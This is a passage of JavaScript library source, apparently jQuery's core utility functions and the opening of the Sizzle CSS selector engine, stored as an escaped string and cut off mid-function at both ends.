this;\n\t\ti--;\n\t}\n\n\tfor ( ; i < length; i++ ) {\n\n\t\t// Only deal with non-null/undefined values\n\t\tif ( ( options = arguments[ i ] ) != null ) {\n\n\t\t\t// Extend the base object\n\t\t\tfor ( name in options ) {\n\t\t\t\tsrc = target[ name ];\n\t\t\t\tcopy = options[ name ];\n\n\t\t\t\t// Prevent never-ending loop\n\t\t\t\tif ( target === copy ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Recurse if we're merging plain objects or arrays\n\t\t\t\tif ( deep && copy && ( jQuery.isPlainObject( copy ) ||\n\t\t\t\t\t( copyIsArray = Array.isArray( copy ) ) ) ) {\n\n\t\t\t\t\tif ( copyIsArray ) {\n\t\t\t\t\t\tcopyIsArray = false;\n\t\t\t\t\t\tclone = src && Array.isArray( src ) ? src : [];\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tclone = src && jQuery.isPlainObject( src ) ? src : {};\n\t\t\t\t\t}\n\n\t\t\t\t\t// Never move original objects, clone them\n\t\t\t\t\ttarget[ name ] = jQuery.extend( deep, clone, copy );\n\n\t\t\t\t// Don't bring in undefined values\n\t\t\t\t} else if ( copy !== undefined ) {\n\t\t\t\t\ttarget[ name ] = copy;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return the modified object\n\treturn target;\n};\n\njQuery.extend( {\n\n\t// Unique for each copy of jQuery on the page\n\texpando: \"jQuery\" + ( version + Math.random() ).replace( /\\D/g, \"\" ),\n\n\t// Assume jQuery is ready without the ready module\n\tisReady: true,\n\n\terror: function( msg ) {\n\t\tthrow new Error( msg );\n\t},\n\n\tnoop: function() {},\n\n\tisPlainObject: function( obj ) {\n\t\tvar proto, Ctor;\n\n\t\t// Detect obvious negatives\n\t\t// Use toString instead of jQuery.type to catch host objects\n\t\tif ( !obj || toString.call( obj ) !== \"[object Object]\" ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tproto = getProto( obj );\n\n\t\t// Objects with no prototype (e.g., `Object.create( null )`) are plain\n\t\tif ( !proto ) {\n\t\t\treturn true;\n\t\t}\n\n\t\t// Objects with prototype are plain iff they were constructed by a global Object function\n\t\tCtor = hasOwn.call( proto, \"constructor\" ) && proto.constructor;\n\t\treturn typeof Ctor === \"function\" && fnToString.call( Ctor ) === ObjectFunctionString;\n\t},\n\n\tisEmptyObject: function( obj ) {\n\n\t\t/* eslint-disable no-unused-vars */\n\t\t// See https://github.com/eslint/eslint/issues/6125\n\t\tvar name;\n\n\t\tfor ( name in obj ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t},\n\n\t// Evaluates a script in a global context\n\tglobalEval: function( code ) {\n\t\tDOMEval( code );\n\t},\n\n\teach: function( obj, callback ) {\n\t\tvar length, i = 0;\n\n\t\tif ( isArrayLike( obj ) ) {\n\t\t\tlength = obj.length;\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tif ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfor ( i in obj ) {\n\t\t\t\tif ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn obj;\n\t},\n\n\t// Support: Android <=4.0 only\n\ttrim: function( text ) {\n\t\treturn text == null ?\n\t\t\t\"\" :\n\t\t\t( text + \"\" ).replace( rtrim, \"\" );\n\t},\n\n\t// results is for internal usage only\n\tmakeArray: function( arr, results ) {\n\t\tvar ret = results || [];\n\n\t\tif ( arr != null ) {\n\t\t\tif ( isArrayLike( Object( arr ) ) ) {\n\t\t\t\tjQuery.merge( ret,\n\t\t\t\t\ttypeof arr === \"string\" ?\n\t\t\t\t\t[ arr ] : arr\n\t\t\t\t);\n\t\t\t} else {\n\t\t\t\tpush.call( ret, arr );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tinArray: function( elem, arr, i ) {\n\t\treturn arr == null ? -1 : indexOf.call( arr, elem, i );\n\t},\n\n\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t// push.apply(_, arraylike) throws on ancient WebKit\n\tmerge: function( first, second ) {\n\t\tvar len = +second.length,\n\t\t\tj = 0,\n\t\t\ti = first.length;\n\n\t\tfor ( ; j < len; j++ ) {\n\t\t\tfirst[ i++ ] = second[ j ];\n\t\t}\n\n\t\tfirst.length = i;\n\n\t\treturn first;\n\t},\n\n\tgrep: function( elems, callback, invert ) {\n\t\tvar callbackInverse,\n\t\t\tmatches = [],\n\t\t\ti = 0,\n\t\t\tlength = elems.length,\n\t\t\tcallbackExpect = !invert;\n\n\t\t// Go through the array, only saving the items\n\t\t// that pass the validator function\n\t\tfor ( ; i < length; i++ ) {\n\t\t\tcallbackInverse = !callback( elems[ i ], i );\n\t\t\tif ( callbackInverse !== callbackExpect ) {\n\t\t\t\tmatches.push( elems[ i ] );\n\t\t\t}\n\t\t}\n\n\t\treturn matches;\n\t},\n\n\t// arg is for internal usage only\n\tmap: function( elems, callback, arg ) {\n\t\tvar length, value,\n\t\t\ti = 0,\n\t\t\tret = [];\n\n\t\t// Go through the array, translating each of the items to their new values\n\t\tif ( isArrayLike( elems ) ) {\n\t\t\tlength = elems.length;\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Go through every key on the object,\n\t\t} else {\n\t\t\tfor ( i in elems ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Flatten any nested arrays\n\t\treturn concat.apply( [], ret );\n\t},\n\n\t// A global GUID counter for objects\n\tguid: 1,\n\n\t// jQuery.support is not used in Core but other projects attach their\n\t// properties to it so it needs to exist.\n\tsupport: support\n} );\n\nif ( typeof Symbol === \"function\" ) {\n\tjQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];\n}\n\n// Populate the class2type map\njQuery.each( \"Boolean Number String Function Array Date RegExp Object Error Symbol\".split( \" \" ),\nfunction( i, name ) {\n\tclass2type[ \"[object \" + name + \"]\" ] = name.toLowerCase();\n} );\n\nfunction isArrayLike( obj ) {\n\n\t// Support: real iOS 8.2 only (not reproducible in simulator)\n\t// `in` check used to prevent JIT error (gh-2145)\n\t// hasOwn isn't used here due to false negatives\n\t// regarding Nodelist length in IE\n\tvar length = !!obj && \"length\" in obj && obj.length,\n\t\ttype = toType( obj );\n\n\tif ( isFunction( obj ) || isWindow( obj ) ) {\n\t\treturn false;\n\t}\n\n\treturn type === \"array\" || length === 0 ||\n\t\ttypeof length === \"number\" && length > 0 && ( length - 1 ) in obj;\n}\nvar Sizzle =\n/*!\n * Sizzle CSS Selector Engine v2.3.3\n * https://sizzlejs.com/\n *\n * Copyright jQuery Foundation and other contributors\n * Released under the MIT license\n * http://jquery.org/license\n *\n * Date: 2016-08-08\n */\n(function( window ) {\n\nvar i,\n\tsupport,\n\tExpr,\n\tgetText,\n\tisXML,\n\ttokenize,\n\tcompile,\n\tselect,\n\toutermostContext,\n\tsortInput,\n\thasDuplicate,\n\n\t// Local document vars\n\tsetDocument,\n\tdocument,\n\tdocElem,\n\tdocumentIsHTML,\n\trbuggyQSA,\n\trbuggyMatches,\n\tmatches,\n\tcontains,\n\n\t// Instance-specific data\n\texpando = \"sizzle\" + 1 * new Date(),\n\tpreferredDoc = window.document,\n\tdirruns = 0,\n\tdone = 0,\n\tclassCache = createCache(),\n\ttokenCache = createCache(),\n\tcompilerCache = createCache(),\n\tsortOrder = function( a, b ) {\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t}\n\t\treturn 0;\n\t},\n\n\t// Instance methods\n\thasOwn = ({}).hasOwnProperty,\n\tarr = [],\n\tpop = arr.pop,\n\tpush_native = arr.push,\n\tpush = arr.push,\n\tslice = arr.slice,\n\t// Use a stripped-down indexOf as it's faster than native\n\t// https://jsperf.com/thor-indexof-vs-for/5\n\tindexOf = function( list, elem ) {\n\t\tvar i = 0,\n\t\t\tlen = list.length;\n\t\tfor ( ; i < len; i++ ) {\n\t\t\tif ( list[i] === elem ) {\n\t\t\t\treturn i;\n\t\t\t}\n\t\t}\n\t\treturn -1;\n\t},\n\n\tbooleans = \"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",\n\n\t// Regular expressions\n\n\t// http://www.w3.org/TR/css3-selectors/#whitespace\n\twhitespace = \"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",\n\n\t// http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier\n\tidentifier = \"(?:\\\\\\\\.|[\\\\w-]|[^\\0-\\\\xa0])+\",\n\n\t// Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors\n\tattributes = \"\\\\[\" + whitespace + \"*(\" + identifier + \")(?:\" + whitespace +\n\t\t// Operator (capture 2)\n\t\t\"*([*^$|!~]?=)\" + whitespace +\n\t\t// \"Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]\"\n\t\t\"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\" + identifier + \"))|)\" + whitespace +\n\t\t\"*\\\\]\",\n\n\tpseudos = \":(\" + identifier + \")(?:\\\\((\" +\n\t\t// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:\n\t\t// 1. quoted (capture 3; capture 4 or capture 5)\n\t\t\"('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|\" +\n\t\t// 2. simple (capture 6)\n\t\t\"((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\" + attributes + \")*)|\" +\n\t\t// 3. anything else (capture 2)\n\t\t\".*\" +\n\t\t\")\\\\)|)\",\n\n\t// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter\n\trwhitespace = new RegExp( whitespace + \"+\", \"g\" ),\n\trtrim = new RegExp( \"^\" + whitespace + \"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\" + whitespace + \"+$\", \"g\" ),\n\n\trcomma = new RegExp( \"^\" + whitespace + \"*,\" + whitespace + \"*\" ),\n\trcombinators = new RegExp( \"^\" + whitespace + \"*([>+~]|\" + whitespace + \")\" + whitespace + \"*\" ),\n\n\trattributeQuotes = new RegExp( \"=\" + whitespace + \"*([^\\\\]'\\\"]*?)\" + whitespace + \"*\\\\]\", \"g\" ),\n\n\trpseudo = new RegExp( pseudos ),\n\tridentifier = new RegExp( \"^\" + identifier + \"$\" ),\n\n\tmatchExpr = {\n\t\t\"ID\": new RegExp( \"^#(\" + identifier + \")\" ),\n\t\t\"CLASS\": new RegExp( \"^\\\\.(\" + identifier + \")\" ),\n\t\t\"TAG\": new RegExp( \"^(\" + identifier + \"|[*])\" ),\n\t\t\"ATTR\": new RegExp( \"^\" + attributes ),\n\t\t\"PSEUDO\": new RegExp( \"^\" + pseudos ),\n\t\t\"CHILD\": new RegExp( \"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\" + whitespace +\n\t\t\t\"*(even|odd|(([+-]|)(\\\\d*)n|)\" + whitespace + \"*(?:([+-]|)\" + whitespace +\n\t\t\t\"*(\\\\d+)|))\" + whitespace + \"*\\\\)|)\", \"i\" ),\n\t\t\"bool\": new RegExp( \"^(?:\" + booleans + \")$\", \"i\" ),\n\t\t// For use in libraries implementing .is()\n\t\t// We use this for POS matching in `select`\n\t\t\"needsContext\": new RegExp( \"^\" + whitespace + \"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\" +\n\t\t\twhitespace + \"*((?:-\\\\d)?\\\\d*)\" + whitespace + \"*\\\\)|)(?=[^-]|$)\", \"i\" )\n\t},\n\n\trinputs = /^(?:input|select|textarea|button)$/i,\n\trheader = /^h\\d$/i,\n\n\trnative = /^[^{]+\\{\\s*\\[native \\w/,\n\n\t// Easily-parseable/retrievable ID or TAG or CLASS selectors\n\trquickExpr = /^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,\n\n\trsibling = /[+~]/,\n\n\t// CSS escapes\n\t// http://www.w3.org/TR/CSS21/syndata.html#escaped-characters\n\trunescape = new RegExp( \"\\\\\\\\([\\\\da-f]{1,6}\" + whitespace + \"?|(\" + whitespace + \")|.)\", \"ig\" ),\n\tfunescape = function( _, escaped, escapedWhitespace ) {\n\t\tvar high = \"0x\" + escaped - 0x10000;\n\t\t// NaN means non-codepoint\n\t\t// Support: Firefox<24\n\t\t// Workaround erroneous numeric interpretation of +\"0x\"\n\t\treturn high !== high || escapedWhitespace ?\n\t\t\tescaped :\n\t\t\thigh < 0 ?\n\t\t\t\t// BMP codepoint\n\t\t\t\tString.fromCharCode( high + 0x10000 ) :\n\t\t\t\t// Supplemental Plane codepoint (surrogate pair)\n\t\t\t\tString.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );\n\t},\n\n\t// CSS string/identifier serialization\n\t// https://drafts.csswg.org/cssom/#common-serializing-idioms\n\trcssescape = /([\\0-\\x1f\\x7f]|^-?\\d)|^-$|[^\\0-\\x1f\\x7f-\\uFFFF\\w-]/g,\n\tfcssescape = function( ch, asCodePoint ) {\n\t\tif ( asCodePoint ) {\n\n\t\t\t// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER\n\t\t\tif ( ch === \"\\0\" ) {\n\t\t\t\treturn \"\\uFFFD\";\n\t\t\t}\n\n\t\t\t// Control characters and (dependent upon position) numbers get escaped as code points\n\t\t\treturn ch.slice( 0, -1 ) + \"\\\\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + \" \";\n\t\t}\n\n\t\t// Other potentially-special ASCII characters get backslash-escaped\n\t\treturn \"\\\\\" + ch;\n\t},\n\n\t// Used for iframes\n\t// See setDocument()\n\t// Removing the function wrapper causes a \"Permission Denied\"\n\t// error in IE\n\tunloadHandler = function() {\n\t\tsetDocument();\n\t},\n\n\tdisabledAncestor = addCombinator(\n\t\tfunction( elem ) {\n\t\t\treturn elem.disabled === true && (\"form\" in elem || \"label\" in elem);\n\t\t},\n\t\t{ dir: \"parentNode\", next: \"legend\" }\n\t);\n\n// Optimize for push.apply( _, NodeList )\ntry {\n\tpush.apply(\n\t\t(arr = slice.call( preferredDoc.childNodes )),\n\t\tpreferredDoc.childNodes\n\t);\n\t// Support: Android<4.0\n\t// Detect silently failing push.apply\n\tarr[ preferredDoc.childNodes.length ].nodeType;\n} catch ( e ) {\n\tpush = { apply: arr.length ?\n\n\t\t// Leverage slice if possible\n\t\tfunction( target, els ) {\n\t\t\tpush_native.apply( target, slice.call(els) );\n\t\t} :\n\n\t\t// Support: IE<9\n\t\t// Otherwise append directly\n\t\tfunction( target, els ) {\n\t\t\tvar j = target.length,\n\t\t\t\ti = 0;\n\t\t\t// Can't trust NodeList.length\n\t\t\twhile ( (target[j++] = els[i++]) ) {}\n\t\t\ttarget.length = j - 1;\n\t\t}\n\t};\n}\n\nfunction Sizzle( selector, context, results, seed ) {\n\tvar m, i, elem, nid, match, groups, newSelector,\n\t\tnewContext = context && context.ownerDocument,\n\n\t\t// nodeType defaults to 9, since context defaults to document\n\t\tnodeType = context ? context.nodeType : 9;\n\n\tresults = results || [];\n\n\t// Return early from calls with invalid selector or context\n\tif ( typeof selector !== \"string\" || !selector ||\n\t\tnodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {\n\n\t\treturn results;\n\t}\n\n\t// Try to shortcut find operations (as opposed to filters) in HTML documents\n\tif ( !seed ) {\n\n\t\tif ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {\n\t\t\tsetDocument( context );\n\t\t}\n\t\tcontext = context || document;\n\n\t\tif ( documentIsHTML ) {\n\n\t\t\t// If the selector is sufficiently simple, try using a \"get*By*\" DOM method\n\t\t\t// (excepting DocumentFragment context, where the methods don't exist)\n\t\t\tif ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) {\n\n\t\t\t\t// ID selector\n\t\t\t\tif ( (m = match[1]) ) {\n\n\t\t\t\t\t// Document context\n\t\t\t\t\tif ( nodeType === 9 ) {\n\t\t\t\t\t\tif ( (elem = context.getElementById( m )) ) {\n\n\t\t\t\t\t\t\t// Support: IE, Opera, Webkit\n\t\t\t\t\t\t\t// TODO: identify versions\n\t\t\t\t\t\t\t// getElementById can match elements by name instead of ID\n\t\t\t\t\t\t\tif ( elem.id === m ) {\n\t\t\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t// Element context\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\t// Support: IE, Opera, Webkit\n\t\t\t\t\t\t// TODO: identify versions\n\t\t\t\t\t\t// getElementById can match elements by name instead of ID\n\t\t\t\t\t\tif ( newContext && (elem = newContext.getElementById( m )) &&\n\t\t\t\t\t\t\tcontains( context, elem ) &&\n\t\t\t\t\t\t\telem.id === m ) {\n\n\t\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t// Type selector\n\t\t\t\t} else if ( match[2] ) {\n\t\t\t\t\tpush.apply( results, context.getElementsByTagName( selector ) );\n\t\t\t\t\treturn results;\n\n\t\t\t\t// Class selector\n\t\t\t\t} else if ( (m = match[3]) && support.getElementsByClassName &&\n\t\t\t\t\tcontext.getElementsByClassName ) {\n\n\t\t\t\t\tpush.apply( results, context.getElementsByClassName( m ) );\n\t\t\t\t\treturn results;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Take advantage of querySelectorAll\n\t\t\tif ( support.qsa &&\n\t\t\t\t!compilerCache[ selector + \" \" ] &&\n\t\t\t\t(!rbuggyQSA || !rbuggyQSA.test( selector )) ) {\n\n\t\t\t\tif ( nodeType !== 1 ) {\n\t\t\t\t\tnewContext = context;\n\t\t\t\t\tnewSelector = selector;\n\n\t\t\t\t// qSA looks outside Element context, which is not what we want\n\t\t\t\t// Thanks to Andrew Dupont for this workaround technique\n\t\t\t\t// Support: IE <=8\n\t\t\t\t// Exclude object elements\n\t\t\t\t} else if ( context.nodeName.toLowerCase() !== \"object\" ) {\n\n\t\t\t\t\t// Capture the context ID, setting it first if necessary\n\t\t\t\t\tif ( (nid = context.getAttribute( \"id\" )) ) {\n\t\t\t\t\t\tnid = nid.replace( rcssescape, fcssescape );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcontext.setAttribute( \"id\", (nid = expando) );\n\t\t\t\t\t}\n\n\t\t\t\t\t// Prefix every selector in the list\n\t\t\t\t\tgroups = tokenize( selector );\n\t\t\t\t\ti = groups.length;\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tgroups[i] = \"#\" + nid + \" \" + toSelector( groups[i] );\n\t\t\t\t\t}\n\t\t\t\t\tnewSelector = groups.join( \",\" );\n\n\t\t\t\t\t// Expand context for sibling selectors\n\t\t\t\t\tnewContext = rsibling.test( selector ) && testContext( context.parentNode ) ||\n\t\t\t\t\t\tcontext;\n\t\t\t\t}\n\n\t\t\t\tif ( newSelector ) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tpush.apply( results,\n\t\t\t\t\t\t\tnewContext.querySelectorAll( newSelector )\n\t\t\t\t\t\t);\n\t\t\t\t\t\treturn results;\n\t\t\t\t\t} catch ( qsaError ) {\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tif ( nid === expando ) {\n\t\t\t\t\t\t\tcontext.removeAttribute( \"id\" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// All others\n\treturn select( selector.replace( rtrim, \"$1\" ), context, results, seed );\n}\n\n/**\n * Create key-value caches of limited size\n * @returns {function(string, object)} Returns the Object data after storing it on itself with\n *\tproperty name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)\n *\tdeleting the oldest entry\n */\nfunction createCache() {\n\tvar keys = [];\n\n\tfunction cache( key, value ) {\n\t\t// Use (key + \" \") to avoid collision with native prototype properties (see Issue #157)\n\t\tif ( keys.push( key + \" \" ) > Expr.cacheLength ) {\n\t\t\t// Only keep the most recent entries\n\t\t\tdelete cache[ keys.shift() ];\n\t\t}\n\t\treturn (cache[ key + \" \" ] = value);\n\t}\n\treturn cache;\n}\n\n/**\n * Mark a function for special use by Sizzle\n * @param {Function} fn The function to mark\n */\nfunction markFunction( fn ) {\n\tfn[ expando ] = true;\n\treturn fn;\n}\n\n/**\n * Support testing using an element\n * @param {Function} fn Passed the created element and returns a boolean result\n */\nfunction assert( fn ) {\n\tvar el = document.createElement(\"fieldset\");\n\n\ttry {\n\t\treturn !!fn( el );\n\t} catch (e) {\n\t\treturn false;\n\t} finally {\n\t\t// Remove from its parent by default\n\t\tif ( el.parentNode ) {\n\t\t\tel.parentNode.removeChild( el );\n\t\t}\n\t\t// release memory in IE\n\t\tel = null;\n\t}\n}\n\n/**\n * Adds the same handler for all of the specified attrs\n * @param {String} attrs Pipe-separated list of attributes\n * @param {Function} handler The method that will be applied\n */\nfunction addHandle( attrs, handler ) {\n\tvar arr = attrs.split(\"|\"),\n\t\ti = arr.length;\n\n\twhile ( i-- ) {\n\t\tExpr.attrHandle[ arr[i] ] = handler;\n\t}\n}\n\n/**\n * Checks document order of two siblings\n * @param {Element} a\n * @param {Element} b\n * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b\n */\nfunction siblingCheck( a, b ) {\n\tvar cur = b && a,\n\t\tdiff = cur && a.nodeType === 1 && b.nodeType === 1 &&\n\t\t\ta.sourceIndex - b.sourceIndex;\n\n\t// Use IE sourceIndex if available on both nodes\n\tif ( diff ) {\n\t\treturn diff;\n\t}\n\n\t// Check if b follows a\n\tif ( cur ) {\n\t\twhile ( (cur = cur.nextSibling) ) {\n\t\t\tif ( cur === b ) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn a ? 1 : -1;\n}\n\n/**\n * Returns a function to use in pseudos for input types\n * @param {String} type\n */\nfunction createInputPseudo( type ) {\n\treturn function( elem ) {\n\t\tvar name = elem.nodeName.toLowerCase();\n\t\treturn name === \"input\" && elem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for buttons\n * @param {String} type\n */\nfunction createButtonPseudo( type ) {\n\treturn function( elem ) {\n\t\tvar name = elem.nodeName.toLowerCase();\n\t\treturn (name === \"input\" || name === \"button\") && elem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for :enabled/:disabled\n * @param {Boolean} disabled true for :disabled; false for :enabled\n */\nfunction createDisabledPseudo( disabled ) {\n\n\t// Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable\n\treturn function( elem ) {\n\n\t\t// Only certain elements can match :enabled or :disabled\n\t\t// https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled\n\t\t// https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled\n\t\tif ( \"form\" in elem ) {\n\n\t\t\t// Check for inherited disabledness on relevant non-disabled elements:\n\t\t\t// * listed form-associated elements in a disabled fieldset\n\t\t\t// https://html.spec.whatwg.org/multipage/forms.html#category-listed\n\t\t\t// https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled\n\t\t\t// * option elements in a disabled optgroup\n\t\t\t// https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled\n\t\t\t// All such elements have a \"form\" property.\n\t\t\tif ( elem.parentNode && elem.disabled === false ) {\n\n\t\t\t\t// Option elements defer to a parent optgroup if present\n\t\t\t\tif ( \"label\" in elem ) {\n\t\t\t\t\tif ( \"label\" in elem.parentNode ) {\n\t\t\t\t\t\treturn elem.parentNode.disabled === disabled;\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn elem.disabled === disabled;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Support: IE 6 - 11\n\t\t\t\t// Use the isDisabled shortcut property to check for disabled fieldset ancestors\n\t\t\t\treturn elem.isDisabled === disabled ||\n\n\t\t\t\t\t// Where there is no isDisabled, check manually\n\t\t\t\t\t/* jshint -W018 */\n\t\t\t\t\telem.isDisabled !== !disabled &&\n\t\t\t\t\t\tdisabledAncestor( elem ) === disabled;\n\t\t\t}\n\n\t\t\treturn elem.disabled === disabled;\n\n\t\t// Try to winnow out elements that can't be disabled before trusting the disabled property.\n\t\t// Some victims get caught in our net (label, legend, menu, track), but it shouldn't\n\t\t// even exist on them, let alone have a boolean value.\n\t\t} else if ( \"label\" in elem ) {\n\t\t\treturn elem.disabled === disabled;\n\t\t}\n\n\t\t// Remaining elements are neither :enabled nor :disabled\n\t\treturn false;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for positionals\n * @param {Function} fn\n */\nfunction createPositionalPseudo( fn ) {\n\treturn markFunction(function( argument ) {\n\t\targument = +argument;\n\t\treturn markFunction(function( seed, matches ) {\n\t\t\tvar j,\n\t\t\t\tmatchIndexes = fn( [], seed.length, argument ),\n\t\t\t\ti = matchIndexes.length;\n\n\t\t\t// Match elements found at the specified indexes\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( seed[ (j = matchIndexes[i]) ] ) {\n\t\t\t\t\tseed[j] = !(matches[j] = seed[j]);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t});\n}\n\n/**\n * Checks a node for validity as a Sizzle context\n * @param {Element|Object=} context\n * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value\n */\nfunction testContext( context ) {\n\treturn context && typeof context.getElementsByTagName !== \"undefined\" && context;\n}\n\n// Expose support vars for convenience\nsupport = Sizzle.support = {};\n\n/**\n * Detects XML nodes\n * @param {Element|Object} elem An element or a document\n * @returns {Boolean} True iff elem is a non-HTML XML node\n */\nisXML = Sizzle.isXML = function( elem ) {\n\t// documentElement is verified for cases where it doesn't yet exist\n\t// (such as loading iframes in IE - #4833)\n\tvar documentElement = elem && (elem.ownerDocument || elem).documentElement;\n\treturn documentElement ? documentElement.nodeName !== \"HTML\" : false;\n};\n\n/**\n * Sets document-related variables once based on the current document\n * @param {Element|Object} [doc] An element or document object to use to set the document\n * @returns {Object} Returns the current document\n */\nsetDocument = Sizzle.setDocument = function( node ) {\n\tvar hasCompare, subWindow,\n\t\tdoc = node ? node.ownerDocument || node : preferredDoc;\n\n\t// Return early if doc is invalid or already selected\n\tif ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {\n\t\treturn document;\n\t}\n\n\t// Update global variables\n\tdocument = doc;\n\tdocElem = document.documentElement;\n\tdocumentIsHTML = !isXML( document );\n\n\t// Support: IE 9-11, Edge\n\t// Accessing iframe documents after unload throws \"permission denied\" errors (jQuery #13936)\n\tif ( preferredDoc !== document &&\n\t\t(subWindow = document.defaultView) && subWindow.top !== subWindow ) {\n\n\t\t// Support: IE 11, Edge\n\t\tif ( subWindow.addEventListener ) {\n\t\t\tsubWindow.addEventListener( \"unload\", unloadHandler, false );\n\n\t\t// Support: IE 9 - 10 only\n\t\t} else if ( subWindow.attachEvent ) {\n\t\t\tsubWindow.attachEvent( \"onunload\", unloadHandler );\n\t\t}\n\t}\n\n\t/* Attributes\n\t---------------------------------------------------------------------- */\n\n\t// Support: IE<8\n\t// Verify that getAttribute really returns attributes and not properties\n\t// (excepting IE8 booleans)\n\tsupport.attributes = assert(function( el ) {\n\t\tel.className = \"i\";\n\t\treturn !el.getAttribute(\"className\");\n\t});\n\n\t/* getElement(s)By*\n\t---------------------------------------------------------------------- */\n\n\t// Check if getElementsByTagName(\"*\") returns only elements\n\tsupport.getElementsByTagName = assert(function( el ) {\n\t\tel.appendChild( document.createComment(\"\") );\n\t\treturn !el.getElementsByTagName(\"*\").length;\n\t});\n\n\t// Support: IE<9\n\tsupport.getElementsByClassName = rnative.test( document.getElementsByClassName );\n\n\t// Support: IE<10\n\t// Check if getElementById returns elements by name\n\t// The broken getElementById methods don't pick up programmatically-set names,\n\t// so use a roundabout getElementsByName test\n\tsupport.getById = assert(function( el ) {\n\t\tdocElem.appendChild( el ).id = expando;\n\t\treturn !document.getElementsByName || !document.getElementsByName( expando ).length;\n\t});\n\n\t// ID filter and find\n\tif ( support.getById ) {\n\t\tExpr.filter[\"ID\"] = function( id ) {\n\t\t\tvar attrId = id.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\treturn elem.getAttribute(\"id\") === attrId;\n\t\t\t};\n\t\t};\n\t\tExpr.find[\"ID\"] = function( id, context ) {\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && documentIsHTML ) {\n\t\t\t\tvar elem = context.getElementById( id );\n\t\t\t\treturn elem ? [ elem ] : [];\n\t\t\t}\n\t\t};\n\t} else {\n\t\tExpr.filter[\"ID\"] = function( id ) {\n\t\t\tvar attrId = id.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\tvar node = typeof elem.getAttributeNode !== \"undefined\" &&\n\t\t\t\t\telem.getAttributeNode(\"id\");\n\t\t\t\treturn node && node.value === attrId;\n\t\t\t};\n\t\t};\n\n\t\t// Support: IE 6 - 7 only\n\t\t// getElementById is not reliable as a find shortcut\n\t\tExpr.find[\"ID\"] = function( id, context ) 